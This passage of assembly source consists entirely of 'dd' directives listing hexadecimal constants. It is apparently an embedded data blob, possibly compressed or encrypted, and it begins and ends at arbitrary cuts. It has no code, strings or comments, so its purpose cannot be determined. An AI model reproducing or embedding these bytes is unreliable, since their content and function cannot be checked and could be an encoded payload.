0DBF133F1h, 871806EFh dd 0E15CE2E9h, 2CDE7B3Fh, 0DD03B8DCh, 82551178h, 38044132h dd 0D5D0FC65h, 0CAE90295h, 7D33E0D2h, 0D40230B2h, 0AE205DE7h dd 9E37E032h, 0CB5E9668h, 363DD88h, 6DD9F929h, 21E8C994h dd 4866D5DCh, 3C40E6E4h, 68B77D5h, 2FE8CCA3h, 5E17206Bh dd 0A4285349h, 30138343h, 0F441B4F6h, 5224C6E5h, 0DB2834h dd 65AD72CDh, 96029CCFh, 0B04EE8B9h, 0AEC42043h, 0D78D6169h dd 0FB0062C1h, 0E35E10E7h, 0D226CC02h, 79DC591Eh, 0E0E81868h dd 78A0B0B9h, 0EBD20CCEh, 0E3E83044h, 16529178h, 3373E22Ch dd 3F973E88h, 0BC13E401h, 32E8E95Bh, 1D31A42Ch, 874DB8E0h dd 61D44C69h, 0E706D84Ah, 10201C1Ah, 0C0AE3A11h, 0FEAFC133h dd 13537864h, 955E48FBh, 0C8D4CB24h, 0E779C03Eh, 0A4B67036h dd 17C03E49h, 31BBE834h, 75DBF64h, 0AC81E7A4h, 1C0371D6h dd 1289023h, 0D4219B9Ch, 884218B2h, 9B00940Dh, 1BD7F6D3h dd 4C32DEB4h, 0CF10382Dh, 3E5C757Eh, 8B4F10B8h, 18A06689h dd 8187D053h, 8414C182h, 74BC80A4h, 45046A46h, 90B4D785h dd 62E35644h, 0E00821D3h, 26E48150h, 78051FF5h, 0D7E00824h dd 16C61E7Bh, 0CEB04E64h, 0FA0784A8h, 27F9C590h, 5AB16AC0h dd 0E6F8E938h, 7D992CD7h, 6D909DBh, 3F46C802h, 0E8C87305h dd 0FD6900A4h, 8352B31Ah, 0E7082B72h, 205C7AE8h, 80475494h dd 0D6CF12BFh, 0D2B44F1Ch, 0E029A8C4h, 6A12B668h, 0CC2B775h dd 98D0B02Ch, 0D425109Bh, 9009E092h, 333A009Bh, 0C746E683h dd 0CB000D5Bh, 0D306419Eh, 5F0F6DF9h, 80BC0985h, 0E15FEC98h dd 0B0399620h, 5C433E4Ch, 4944D840h, 0E7E816D5h, 1D044077h dd 5CEBD464h, 97B82761h, 51EA08C6h, 0FD568528h, 10F0F79Eh dd 3DFC0CC8h, 28DB008Ch, 87C33880h, 0D06191A1h, 0BFCA5171h dd 47125428h, 0D608217Eh, 0DE561054h, 4319DD5Ah, 0F67B518Eh dd 0CD3929BEh, 3020C109h, 0E16540D8h, 8262C60Ch, 20FB1833h dd 0CF316370h, 0CEA2E09Bh, 6781DC38h, 62445F11h, 3C9B4A38h dd 0CBD6C880h, 0FE0969CEh, 82C7DAABh, 0C476F24Ch, 15C40B00h dd 0E4987995h, 0A800FC01h, 63E40B99h, 55A1DFh, 56F19F59h dd 18F05020h, 8481F95h, 21FC528Ah, 0D570528Ah, 0D38776D8h dd 0F3180520h, 0F745242h, 0F844D414h, 2C04B95Fh, 0F1194A6h dd 63BC0C5Ch, 3ED5008Ch, 7B6A1CE3h, 0C70624CBh, 84B3D088h dd 909CB6C9h, 0A9CB80DBh, 1FB398F1h, 0E2F44736h, 5CDCBE10h dd 0D820B42Dh, 0A3CD3490h, 0C75F5F71h, 0D36A7041h, 0C88C5610h dd 83598FC5h, 0CD19B417h, 79FDC800h, 9E77E542h, 94D30648h dd 0BE12F961h, 0B04F519Ch, 0A2BC34B3h, 0C9380D63h, 4BE8401Bh dd 24DD8E7h, 0C8CF0554h, 0A4C0C52Eh, 4824AB3Dh, 55A20003h dd 0F27B2008h, 284132B8h, 1518209Dh, 0B09FC51Fh, 1708B4E6h dd 44470E6Fh, 0DEE50470h, 64B46C18h, 4E37429Dh, 67237C2Bh dd 31297201h, 0FC3247E6h, 125C0500h, 0A36B35B5h, 28152B05h dd 58C1C69Ah, 247874E3h, 602CD30Ah, 0A81831A8h, 93DC5256h dd 0FE908329h, 0D0F10846h, 172D8C26h, 805891D8h, 0C5B4720Fh dd 0E12616C7h, 4BCCD050h, 0FE5DD95Fh, 9EC100E8h, 0B2E2FB5h dd 6F013E7h, 0F6DC914Ah, 76D0087h, 47CC0092h, 6E1712FFh dd 0A4A03844h, 0D0C23B9Ch, 8DE0812Eh, 0DC70B018h, 0D5E1807Dh dd 0E21094B0h, 38014B45h, 9B3482D0h, 5BA06047h, 0C69819C1h dd 8C438A78h, 0C42CB0FDh, 0CEDA05F3h, 215FC8B6h, 3244B1E0h dd 62310284h, 493B4C46h, 81922EC8h, 34200F7Bh, 0F3401277h dd 46A50164h, 0C256F7E5h, 0AE3D001Eh, 0D9249BD4h, 1877602Eh dd 78BF3311h, 3D8D3102h, 90586B09h, 94931AD8h, 0C8CE85CCh dd 91884185h, 82FD3444h, 0B38BC618h, 9F48905Eh, 2FE40846h dd 3F08B2E5h, 0D0217361h, 46AA6007h, 22BAEA8h, 0E94120DEh dd 0CF1134F0h, 202BF502h, 54A86EACh, 0E0BA64Ch, 0A272DEE3h dd 0C8618E04h, 12975E6Ch, 5860570Ch, 432A5024h, 0D08960C1h dd 60365DA7h, 848594Ah, 4C89DDD5h, 7617F334h, 0A483AE39h dd 8D71090Fh, 0B04080E3h, 0BD0CF419h, 30DDF935h, 8C5E58BCh dd 86798784h, 50C4B008h, 8806031h, 0FCB2EA2Dh, 4962038Ah dd 82DBD23Eh, 50C16968h, 1DC58CC8h, 84820CC5h, 0D3A6216Eh dd 0CA9A319h, 4A534C09h, 83E451B0h, 5084B6E5h, 1AD4A03Eh dd 792834F8h, 18757948h, 355D01B1h, 0EA185590h, 4A54D8CBh dd 0C5098490h, 5965ADF5h, 18727974h, 800B00BDh, 4425F8B5h dd 3728F17Ch, 2E2DCFC6h, 0DF689051h, 1043AA3h, 0A5E82A06h dd 109E1973h, 769C408h, 0CB78E72Fh, 18938C19h, 31210808h dd 59C437D3h, 2100074Eh, 0CA657E53h, 0A37C0D16h, 4C1F1004h dd 4E200A52h, 44D6043Ch, 2C041660h, 5D032C68h, 0A1CED051h dd 0CBFEDE7Ah, 4519FB16h, 9AD028D1h, 985109D2h, 0D4195479h dd 1B07E206h, 259EE9F9h, 72C5BE72h, 80B09EA8h, 6A754629h dd 165C76C4h, 175739E2h, 8C8870FAh, 9EC024DEh, 0B639079Dh dd 0F10D5068h, 10009DDAh, 42EE6D83h, 4A472C24h, 0B9144015h dd 0C5B371A6h, 0D3BED704h, 6CE05A61h, 22138CFDh, 73099C8Ah dd 2C166Eh, 0A88A1A18h, 38575883h, 0D812887Bh, 0E00362DBh dd 0A0415F9Eh, 96D13A69h, 0E14B8368h, 0CA984799h, 404AFCDCh dd 9FC89Bh, 40478B4Ah, 0A0003FCBh, 0CCD5371Dh, 125F3DA2h dd 0A75E74C8h, 0B6A9A080h, 7316122Ah, 0E1A88040h, 0AC045563h dd 4BE24778h, 71ECE0ACh dd 7625388Ch, 15DCB93h, 17F012B7h, 6282C8D5h, 2CC8918h dd 0B8CF3DE9h, 0DCE112A8h, 480C4AC3h, 0D49B06D4h, 173E3007h dd 0DDEC45B3h, 0C9512E6Eh, 15E18D14h, 83742079h, 60D419C8h dd 218B3D31h, 94CB381Dh, 98B23293h, 0E43064F2h, 393403D4h dd 2DD1EA4Ch, 114B7022h, 6E462Bh, 16DA64EDh, 0F8B5A5AEh dd 0EA8EF803h, 0DB5D2689h, 0F8DF0950h, 418B4D0h, 8C395747h dd 0ADBD0023h, 0BF4058D4h, 0E31EEA2Eh, 0D844C9E7h, 3880672Fh dd 0CB36CFC2h, 948F4C99h, 3A76E0DDh, 8821704Ah, 0BE104DE3h dd 2095F703h, 7E481618h, 47260093h, 4EC6DF2Fh, 0AA75C3E2h dd 1DF8CD09h, 0DD0700BAh, 9DB375h, 0DFB84C8Ah, 0AB02F3D2h dd 50F7280Bh, 55F40425h, 0E8C4E4FCh, 7890FDD5h, 4F87DB13h dd 2A484B0h, 0C0D49DE9h, 48D65B1Bh, 626821D4h, 4251C008h dd 211748FEh, 44A3C220h, 20F37430h, 0E30B2A54h, 2DA5B48Bh dd 6FD041E8h, 5C431480h, 443746Eh, 0C12307F0h, 1EFC3900h dd 6AF23FC7h, 0EA4002A7h, 0EB41B035h, 8E4A0C80h, 2B02E742h dd 6B3039B1h, 0BF1E00C1h, 6A0EF83Bh, 8FE746B2h, 80EA8FB1h dd 2FFE3DB5h, 73A7C7Eh, 0F142C31Ch, 7B80491Ah, 0F845B56Ah dd 4A7E320Ch, 3828F4h, 3FCA36F1h, 37CC33F9h, 0CD2A2C18h dd 2E8C1940h, 0E4187Eh, 0B76AF540h, 7407F73Fh, 58566168h dd 6B2C25FEh, 4E860406h, 4BB13E80h, 0C0920A1Fh, 7EA17210h dd 79C734F1h, 718CB133h, 0DD1DF83Ah, 0E06A1818h, 8A823FCh dd 1A3EF342h, 18EB05C0h, 381B85C2h, 2887F80h, 0F34BB030h dd 7F0FCC35h, 50FD79C1h, 0E8831B6Bh, 151343C1h, 993F383Dh dd 0A1403A83h, 0C929A040h, 0FF173F1Fh, 702C9180h, 0FB4F64C2h dd 0ED3FB006h, 74E1AC13h, 2F27307Bh, 0CD191C78h, 21113B38h dd 7EE89092h, 0B2340407h, 51781225h, 1EF3CCA3h, 1829AD1Fh dd 8EFF8423h, 0CA0C8745h, 834CE43Ch, 42BC5074h, 488BCF51h dd 0FAD8EB54h, 90445BB0h, 0AD685460h, 4024F481h, 34C0B8CCh dd 8118676Eh, 3CA0D64h, 1B400BFBh, 3C6A4537h, 48110063h dd 813B67E0h, 80B96D13h, 4C82E930h, 0A49DEC94h, 513CC46Dh dd 20752CFFh, 0AFE0608Ch, 0F37CA6A1h, 0D6CF59C2h, 0D5C59A4h dd 9071F017h, 9696BE58h, 0B77B60D0h, 303DB840h, 81F95109h dd 5D4A37C0h, 6868EC5Fh, 2E6158DDh, 6860B1B8h, 0B67117B9h dd 0C344356h, 4AD414D3h, 0E7E194AFh, 0CA230B36h, 230E0359h dd 0E9A5984h, 0F4434911h, 7D730C61h, 35FC4701h, 70D020F0h dd 246D5344h, 8F28D6DAh, 8797E8CDh, 0D8518B2Ch, 2F8C04A7h dd 0A38DDD02h, 0B426A0D0h, 0EB8B886Dh, 0D53CC8E8h, 287260F9h dd 44AA210Bh, 0F0D3D409h, 0C8ACE859h, 1640A954h, 0F4E7D513h dd 9AE10067h, 1561D20Fh, 0ACFBC6E5h, 24DB5478h, 0AE9F88Ch dd 92D0D35Ah, 0F00CBC98h, 0CD883DDEh, 14BE8A7Ch, 0B0ABFA39h dd 4080DEC2h, 0D53621CAh, 4E74A24h, 1FC44468h, 0DC2A0322h dd 7029D051h, 2711884Ch, 1F4E40h, 3348A120h, 220441A8h dd 3F8F031h, 0C390CA9h, 2943862Bh, 1CA1FB22h, 48E01823h dd 4C24841h, 18F4BA71h, 64448258h, 6041400Ch, 91688B97h dd 209C283Ch, 4BF02B3Ch, 0E360F896h, 0B356B28Ah, 54C5509Ch dd 0EC104960h, 4A7A9AD1h, 3D0C7128h, 202C00AEh, 4A34905Ah dd 0BE300B44h, 48530686h, 0F0EF7978h, 20322BEBh, 1F342866h dd 383050A3h, 0C136B48Dh, 1208E921h, 0CB0C201Bh, 0CE5EAD1Ah dd 43DC5E18h, 411E62C6h, 1258DCBh, 1E097920h, 0CD513986h dd 6D0E5147h, 0C056A47Eh, 0BF2B90B6h, 2D1B009Bh, 4A27A5EAh dd 50259E68h, 0C0DC6ACFh, 0C449C57Ch, 88E3D2A1h, 6312D880h dd 0D40C1951h, 80E09Dh, 81369602h, 729B824Fh, 19A8EFh dd 53284A12h, 449E0404h, 5F561C01h, 96A5F022h, 478BDB00h dd 6F1FE391h, 0D3380C6Ah, 60093A03h, 0D6EA3300h, 514D7A26h dd 0A35F481Eh, 98264C47h, 0CF960234h, 0E0916F47h, 919C51F9h dd 2948862Eh, 40F06CDEh, 0F98976B3h, 0E312502Dh, 0CDD420C6h dd 0A5736456h, 48C0C7F6h, 0E0C6973Dh, 6080BE84h, 547AA2D2h dd 5D4FD6E8h, 0E3E578C1h, 219E4ED1h, 0B4630656h, 25097168h dd 2F6DB6D9h, 244838D8h, 5A3D0302h, 0FB478A28h, 0CC3E710Bh dd 5CA8E165h, 6FFE210h, 0EE1D461Eh, 474CBB9Eh, 2C16Bh dd 9B6093D6h, 0A30F8A3Dh, 1052B519h, 11104C40h, 5012A568h dd 104643D0h, 4510AC69h, 1D10401Bh, 270012D2h, 8B6621D5h dd 885FB48Ch, 404CDE08h, 74D924A4h, 0A1012042h, 288FFABCh dd 19718BE8h, 793B72B3h, 20B6E1F7h, 0BFE6DFBEh, 87A40118h dd 12AB11B0h, 8275212h, 0D281B32Ch, 2233021h, 2C53ED0h dd 0FA93F5ECh, 4795FDAh, 2159B000h, 97C8D84h, 79550429h dd 494AF084h, 0C71C2316h, 885945AEh, 118086E1h, 0D038212Ch dd 5A5C0683h, 0D4872988h, 0D0127C93h, 60585489h, 78D834EDh dd 4D648121h, 0EB84303Fh, 19791030h, 4E4763D3h, 0B034227Bh dd 0D21FA878h, 3E82969Eh, 0C1E51831h, 6214BE18h, 38C19214h dd 0D8304031h, 58A1B4Fh, 0B89275DCh, 0D52C20D7h, 0E302BE7Fh dd 53E952FDh, 0A3974050h, 27F44E06h, 5B4A101Ch, 9301AD64h dd 50C7790Dh, 4222FC9h, 21683426h, 4A8E7828h, 94A07343h dd 5A281D2Dh, 230A2C19h, 0C051B450h, 2F920A85h, 20636882h dd 515FE45Ah, 48A48C39h, 1C13244Dh, 3330B044h, 98120523h dd 6C87539Ch, 98321905h, 54F0E467h, 42DF0CA8h, 88902162h dd 461271C3h, 0BD4C4A5h, 5D4838A2h, 0ABCCB000h, 5CFF8232h dd 2C8133Fh, 0DF2DB35Eh, 96A1C0C2h, 0B84654C5h, 0AD3A0006h dd 1ECC076Dh, 0A0BD255Ah, 8C90B200h, 5BA5AF4h, 21E95684h dd 0BECE5FACh, 0C4060041h, 823572DDh, 0D23B00CFh, 0CB1A342Eh dd 2500031Dh, 7FDE30CCh, 0F75FB863h, 0BAD0307Fh, 9BE83EA1h dd 367FEF03h, 98CB1C43h, 0CC21ABh, 94AC3148h, 569DD6Dh dd 0D4E60F76h, 58F484BFh, 5AF82B41h, 290A2EB1h, 2C004CD2h dd 6B53C5DFh, 73402F48h, 303ABC48h, 9D77F800h, 5B9B9FD5h dd 92900022h, 0E28936A4h, 0DD2AD43Bh, 2C3A8854h, 8ADE85B1h dd 0EC08AD29h, 0D0B396D1h, 4214E594h, 0EE0B400h, 0AD97021Ch dd 0FC90798h, 0A0B33A4Dh, 0B08F2979h, 5503F9E2h, 0C99C2493h dd 38213D14h, 1787E43Dh, 50A6B2F2h, 4B2F8F8Dh, 0A0F7CA00h dd 0B332292Bh, 0BB540EC0h, 1E8001DDh, 63B917ABh, 0D1EB4301h dd 4926DBF8h, 0C8945080h, 563B88C3h, 4CFDB500h, 16AB0F34h dd 3CA60E1Ah, 0A92C809Bh, 27053A20h, 0DC6D9D1Fh, 46372038h dd 4DB20327h, 0F1BCC6Dh, 0FD9FF7C1h, 5CB19580h, 93A9CB7h dd 2123355Dh, 0A3FDA980h, 5136074Fh, 40C90783h, 0E976566Ch dd 34DC3900h, 4D17B32Ah, 2FA10022h, 44977AEBh, 0E5037082h dd 0FE5A0E73h, 0F88ED3A8h, 0E896A367h, 0BBA7005Ch, 0BE3D41C1h dd 4C54B9DDh, 0BC19DE8Ch, 49801C75h, 6F109DD0h, 930060B7h dd 29A189DFh, 3CE8D00Ch, 0C0880934h, 89EC7321h, 8AFA8D4Eh dd 0D2983B68h, 4A1B421Eh, 0A5EDC0D0h, 0D3E301F7h, 0CC1B98A4h dd 0E5088C7Ch, 0F0A2038h, 0A3B0F76Eh, 0DDEFC420h, 0A80CC1F9h dd 992D2A2Eh, 46B110B3h, 0AFDE1FF2h, 2A181A18h, 9CFCA06Dh dd 262840F3h, 9060C82Ah, 35C1B40Ch, 0E33489C6h, 5D9A1983h dd 0D831DE5h, 830BADD8h, 563A7E0Ah, 4674D89Eh, 33397920h dd 30616034h, 9EB96Ah dd 7BE97705h, 60A9FCC4h, 8A1BC626h, 9683F800h, 18433367h dd 3931D327h, 2807D969h, 0E2606CD2h, 0B59764C1h, 48489FF1h dd 29B898ADh, 1148C195h, 0A5CE0021h, 7E81D0FDh, 0F0AF4114h dd 89F45CB2h, 8B12A002h, 83FC88F4h, 4401B39Bh, 8C48DC39h dd 0B9F79704h, 0D76294D4h, 0F7A00820h, 9D533F8Dh, 0B2491230h dd 0D600D5D7h, 5A9684C2h, 502A0CC1h, 48266038h, 0B0086486h dd 3CAA4FD4h, 0B91E9746h, 0C029448Ah, 208632E9h, 0F489DE75h dd 417DFF05h, 4006332Ah, 1C14834h, 0C13B6296h, 42F8B5B6h dd 0A4306AECh, 953B28FDh, 9EA485A0h, 0EAFD40D7h, 0B0E7AA01h dd 0B901327Ch, 424CEBAh, 1422B57Ch, 0C4CF8F1h, 50E7003Bh dd 3E7D344Fh, 9B03FBACh, 0CCE641D2h, 0B58BA9h, 379CB3E1h dd 0EA8DE408h, 10F8BD14h, 94123D0h, 1405F7A2h, 0E0D0626Ch dd 0F76B0B20h, 3E1574DBh, 0DD807144h, 35FC986Dh, 0C91927F3h dd 9470B412h, 5434C830h, 1D5AC83Eh, 0C1A05B40h, 0B948F050h dd 66089878h, 7457D21h, 58A39D5Bh, 0ACFD2033h, 2926A71Ah dd 2643D430h, 0B8A950D2h, 0ACEC0C51h, 36E18410h, 0FD48BB00h dd 0ABCF8670h, 0D8E40094h, 5DA4ADD2h, 9C073C73h, 0E2510B87h dd 79DA8EF0h, 0DDA80726h, 0A01CBB7Fh, 0B33C8540h, 614460A7h dd 4E514160h, 2449FD01h, 3A1D9356h, 0B84BE561h, 0EDC022C8h dd 0B8F0EE6Ah, 0FCC305FFh, 40D935A4h, 0BF19D8C4h, 0E6007667h dd 40376AE3h, 0ECD4536h, 0E4A45A6Ch, 0A6A772CEh, 0DCF0D3B5h dd 488437A1h, 790777A4h, 0B49519B1h, 38198CC6h, 0E054CA9Ah dd 0B3E003Ch, 9D55FE8Dh, 0A800EE2Bh, 318EADBCh, 58E69336h dd 0CB019451h, 0C809AABh, 28686487h, 3AA0154Ch, 0C292064h dd 4768E4CBh, 0AE540130h, 91032C84h, 0FD72730h, 323B99D0h dd 6B9E90DFh, 37A006A2h, 2033F859h, 7B8E4D07h, 200A99E7h dd 8C2E9C70h, 614E3402h, 0B3DEB493h, 0AE5BA9E4h, 0E20DDh dd 0EB5B3B6Fh, 1857C114h, 0B8A8603Ah, 17408711h, 99150095h dd 1D5C789Ch, 0BD007AABh, 70E2525Fh, 4DDCCD1h, 352A6F1Fh dd 4720C813h, 77064F88h, 46970044h, 8183AE3Dh, 8B1993DCh dd 0B361AC16h, 0C2340441h, 6AADF850h, 111C0083h, 0C9E29D5Dh dd 920B97FAh, 0A5935FC8h, 89073514h, 55C3AB12h, 0DD1CB9B3h dd 530040BCh, 40D22F90h, 0DE152DB4h, 11DC11C4h, 0AE1F8F38h dd 738689Bh, 5816B492h, 9920CC7Ch, 4E50C91Bh, 8AD4C898h dd 8F5D03A0h, 0BB955529h, 496941E0h, 9100A479h, 0FCBC09Bh dd 45FFD2h, 0F43236C4h, 298EDD66h, 0B34BCA0Ah, 0B11844E5h dd 30D2BD51h, 0F23142AFh, 0C87958A9h, 5B180C1h, 0D420D779h dd 7EC1F994h, 35371882h, 5101DF81h, 0D18947C8h, 41004C6Bh dd 7817A0CCh, 94B1D829h, 0DD02380Ah, 0B4DE161Ch, 834EDD0Bh dd 0A9C8A85Ch, 70BE2F23h, 0D4408A7Fh, 44E51011h, 0D68A84CCh dd 0E8C0AD08h, 18B7F134h, 60917A4Eh, 56CCC0C3h, 0B30C4549h dd 29C696B4h, 16B844CDh, 84729844h, 0D9895A7Fh, 84BA7017h dd 680026E9h, 395CC21h, 0F62CC1h, 470964CFh, 0F369FF42h dd 9CF29700h, 7D92134Ch, 349E05ABh, 3540E53h, 26F19FABh dd 647A1B98h, 0DB2E6800h, 537822CBh, 9B053ED5h, 7B6D9080h dd 0D9120788h, 30207200h, 0D8DA132Ch, 7CC603D3h, 0A4512D0Bh dd 0AA23291Fh, 40A0724Eh, 21C2EA1Dh, 86D50039h, 7094CDDAh dd 0DF44DCEh, 0F87BEE00h, 7CF628Eh, 1F2900E1h, 0DEA4A164h dd 5B00CD37h, 0A003BC54h, 65E771h, 6AB542C6h, 0B4C1AE67h dd 3E849700h, 4683DCD4h, 0B35400E4h, 0AD0B5395h, 0B71C5267h dd 2B018A24h, 0E7C2B17Ch, 489CE434h, 701EE8C3h, 52FC81EDh dd 0F8978748h, 90FA1BB5h, 0DAC60B1Eh, 47EABD00h, 897A1Ah dd 2BD7FBE6h, 0C93A5A75h, 99392800h, 45CD190Dh, 0DA7100B9h dd 979A82A1h, 0F50A51C3h, 9414BAC0h, 0BF909F00h, 44521A0Ch dd 1D0C0479h, 11C3B7B9h, 99BC0765h, 0E19DB475h, 707C5516h dd 40549A9Ch, 800A4BCh, 881324BEh, 35A1145h, 59E86948h dd 9AE08F75h, 0E4E96F5Fh, 78006470h, 0E3F48388h, 9A36E62Ch dd 0AAF70090h, 0C79A6639h, 7700C65Ch, 13C55774h, 54DA9E8Fh dd 745AE8BCh, 5F3300BAh, 0D3F814B9h, 7005D54h, 769B421Dh dd 0A3AFBh, 716837F9h, 9ACB7013h, 0C6336507h, 69E0E01Ch dd 0FEB9078h, 0FDF91B32h, 0F3D802A0h, 4006675h, 7AA2CF60h dd 48732A88h, 74006B8Bh, 0FA3EB5D5h, 5C009452h, 0A2F69912h dd 0FF04F13h, 0FF37AE05h, 715EA320h, 0B50C3820h, 48D6E591h dd 0C5D5093Fh, 1382900Bh, 3A41A2A6h, 930CE801h, 398F9600h dd 9F490B63h, 294B007Eh, 0ED4F721Ah, 5000B6E3h, 9597B7EAh dd 0A99BFDEh, 98E85EEFh, 357300BCh, 114A2164h, 844C8300h dd 7C1D0D1Bh, 80F3127Ah, 8B200353h, 0F9D889D8h, 0F4F203EBh dd 0DDE91A00h, 0B618BF3Ch, 0FC260080h, 98584628h, 86008CF2h dd 0DA6E4130h, 3A6D275h, 0B57BF18Fh, 67815DAAh, 6F28304Bh dd 7AC71D00h, 2635F21Bh, 0AEC84CBDh, 0E72B5D00h, 4813F059h dd 35CFC1Ch, 56F27580h, 269416B9h, 651739h, 0D3577897h dd 47003D85h, 1525ED5Fh, 946F2Bh, 9BC3DEBAh, 8EBEE289h dd 0C704B7E2h, 0A137C890h, 2520E480h, 64E34852h, 0C4068800h dd 0C84C70Dh, 12B3E04Ch, 60077DB4h, 2322C931h, 0BD20408Ch dd 78AA07C1h, 57DEB743h, 2E6770ACh, 0D4003975h, 0B3252917h dd 597D8C90h, 0E00070A3h, 0C4A6976Fh, 487934D8h, 0E8D44300h dd 8777A1F6h, 11F70064h, 5E9F826h, 36006E83h, 944023A8h dd 3AEC147h, 8D64E4F5h, 11901C55h, 0CC90BF02h, 0E7BD5D08h dd 80658296h, 0BC495BDCh, 992CF4A6h, 3F1AF900h, 28129BC0h dd 0D5B03FB2h, 0D2795C80h, 334FE606h, 5DEB3Eh, 0B4ADB53Bh dd 0E81A9C75h, 8B8A01D0h, 0C29E2CE2h, 2FB4201Dh, 0A0C9BF2Ah dd 7A4BDE00h, 622A708Eh, 176726FAh, 87C4800Ch, 0C511CB85h dd 0F2208303h, 984D651Ah, 20314EEh, 0C93E76A5h, 6C08B43h dd 86003B8Eh, 0EC40A028h, 191D546h, 390CF0DBh, 307DCBCFh dd 0BF389A31h, 3626FA53h, 0F50400CDh, 0A8001C3Ch, 80950AE9h dd 2EBC7638h, 0F900E316h, 0CF845971h, 0C0240087h, 79E636DAh dd 0A818AAA3h, 0A9280437h, 3F127C45h, 0B502CFEAh, 0C3214206h dd 433A3C58h, 0E44D09E9h, 81A000CDh, 18EFA24h, 2D5AF720h dd 0FBBC60C4h, 0F4C02FC1h, 0ED003396h, 4B153899h, 72D647h dd 5277DBADh, 98F30CA2h, 7F542448h, 0E18E0500h, 925A9DC5h dd 0A0B85550h, 0D337CCh, 9846D9BFh, 0E3242F9Fh, 0DE006492h dd 53D1C003h, 7ECDD30h, 3225B786h, 0D7473E46h, 0E209A0ABh dd 9D0066F2h, 6CEB349Ah, 195B81Ah, 354F5860h, 0EC8027EDh dd 5B0120E0h, 5E6AD67h, 0EC40380Bh, 23D1DDh, 7BD6887Dh dd 0BF2D633Fh, 60FB2603h, 1E31A737h, 93BAA29h, 38004017h dd 0DD193AE2h, 0B5216A0Fh, 0BC222A83h, 80037A09h, 7D98CDA4h dd 2F4F0055h, 1171F3E6h, 0B7F21201h, 0EE33E507h, 8B5592Eh dd 0E9DBE00h, 87CEE9h, 7A3B26Bh, 4E83251h, 0EC024F74h dd 186AF730h, 0C3844098h, 5190084h, 0FD978E9Ch, 748D5CDh dd 0D2E207D8h, 0CEBD36h, 0FB0913ABh, 3BFCBACEh, 0E3002C34h dd 84709507h, 0F00EF6Bh, 0AE5B4B24h, 3B2A8C2h, 434C624Eh dd 21B88F52h, 940E2FF1h, 0C0DC9380h, 0D17031E1h, 0A1750640h dd 90BD9DE5h, 230A0900h dd 1B6B595Bh, 38A300CCh, 414A13E3h, 2B00F20Fh, 0C827D6BCh dd 1331AD3h, 427328CBh, 0D0A70BBDh, 2400BA5Dh, 0F7DD18A2h dd 76865409h, 6CB9C2BFh, 68C835C2h, 0E2120A83h, 0A8D0D9B1h dd 20D5ACFh, 4B89437Ah, 86866E8h, 0F20BEA93h, 200157DBh dd 52C2A6BCh, 0AD400966h, 8CC8DA3Ch, 46008D8Ah, 455CA196h dd 0FA53ACC5h, 49B60299h, 4BB48F54h, 4CB165C0h, 0BE93550Fh dd 0B792A081h, 0A02476h, 0A3287AC3h, 0B4CE7DC2h, 58552630h dd 1E9884D4h, 0F0A436AFh, 0E1974C10h, 310ED306h, 1381494Eh dd 97B806CCh, 0A4E90074h, 0F6E82829h, 0DEFC5200h, 0D93F4549h dd 0CE3D005Ch, 0AE7506CBh, 363FF143h, 98B18F48h, 973C84FBh dd 73E444E4h, 18334CB4h, 0FB80B105h, 391CA481h, 0FA95EA0Fh dd 0A37019A5h, 484350F5h, 0E7A805D2h, 0AB518D3h, 18101028h dd 33E368D6h, 0F9B0857Ch, 0A5008773h, 3130DDA4h, 3757Fh dd 0CBB70784h, 2EFD4A0Fh, 6C346D13h, 609A4082h, 5CE91Eh dd 0B601C1B2h, 0B5F4F020h, 8B9DC60Ch, 90902941h, 2746399Eh dd 43CA558Ah, 5EC90CAFh, 1A0583C9h, 85A9DE28h, 2332A04Eh dd 0E372B5F5h, 0F28898D2h, 9B56278Bh, 0BC7FC803h, 9A840FC5h dd 806C5184h, 17B2E94Bh, 0C9144E18h, 2DA3A08h, 0B3343FD6h dd 444BED32h, 0B1046046h, 302D5511h, 1147E511h, 0E111BBDAh dd 9DB9119Eh, 113FA611h, 0A074BD9Ch, 899BDA14h, 4D6411C2h dd 0A2C06AF9h, 0AD0B0085h, 4CABE678h, 4A0736DBh, 0E997C3E0h dd 26695380h, 0C98612E2h, 6340C0C6h, 8800C722h, 4D36C307h dd 4CBD0F37h, 1F00DC19h, 0D5BAB1E4h, 0A5006894h, 0C246CAD6h dd 481A50ADh, 800B89Ch, 6A26F6CFh, 0E14CB135h, 4D5800ECh dd 6184273Bh, 4922E1Fh, 1FFF3CA4h, 15BC3F32h, 1C099049h dd 0DC20911Bh, 0DBEB6ED3h, 3400CAE6h, 59C5A04Eh, 3D98B9EEh dd 2FAACA7h, 0D7AB21BEh, 40604553h, 2900F57Fh, 0B38EA8F1h dd 1851400Fh, 60390BABh, 384DC1EBh, 656A0020h, 0C88BFB4h dd 0D59A07CEh, 877AC5F6h, 0CC427083h, 1D009351h, 30F51F08h dd 0F72B18h, 5F231CE7h, 0DA72A624h, 16B5BF00h, 0FC9B3B6Dh dd 7BDE0040h, 0A32AE8FFh, 0E313C51Eh, 2801BE42h, 73DF0C2Ch dd 21289850h, 57BB00A5h, 59C6422Dh, 23012A4Ah, 83AE8D7Ah dd 0B2E8A877h, 93DF3F76h, 12FE0180h, 7EABD232h, 7F7C0300h dd 172858DDh, 0FC5F2CC8h, 0E437001Fh, 0DB155085h, 5A1E6EF4h dd 60400749h, 61B6B07Dh, 0AB160FC6h, 0AA062F2h, 0E41B7B90h dd 0B4D15224h, 0C014B81h, 838F57Ah, 2691B200h, 82AFDE31h dd 6D11A400h, 68F5D947h, 40CE1818h, 0CD9E2866h, 0B3CBA001h dd 2E67E609h, 4C4AEAECh, 6E00D2AAh, 24C00FF9h, 9C003AC4h dd 44334511h, 87D2A4h, 9D262FE1h, 0B45940A3h, 8B57BE01h dd 2CB03C29h, 0FEC060h, 3DD4D265h, 8F2EF718h, 0CE988300h dd 3B09E2F4h, 730E080h, 0A6DB527h, 98B8502Bh, 3500C652h dd 8AB320C4h, 0BE2E8862h, 0ABB40334h, 15C86323h, 0EB0004F0h dd 0CB9F906Eh, 0F4303DDh, 0E2CD3328h, 0FD2C500h, 711CA232h dd 130014AFh, 0B462725Dh, 0C25000FBh, 1E6521F5h, 0DA027091h dd 5FA28A89h, 4D2460D3h, 90454955h, 86150538h, 0A602ACF9h dd 9BE32A95h, 0BED7CE8h, 96034C92h, 3FAE7094h, 53E2C8A9h dd 2704B850h, 0C8307854h, 6B0F3D20h, 26E9B826h, 21C985h dd 0FD52CA33h, 0C88A765Bh, 7F945A18h, 8099BA69h, 402E45EDh dd 1880BCC6h, 7D6BD567h, 3E0E981Ah, 0A83BB9E0h, 10BB1Dh dd 0CE15EE68h, 30004B93h, 5BD91A71h, 2D6736h, 0A80F01E1h dd 0DB516B15h, 0EC00C6EEh, 335C5DA7h, 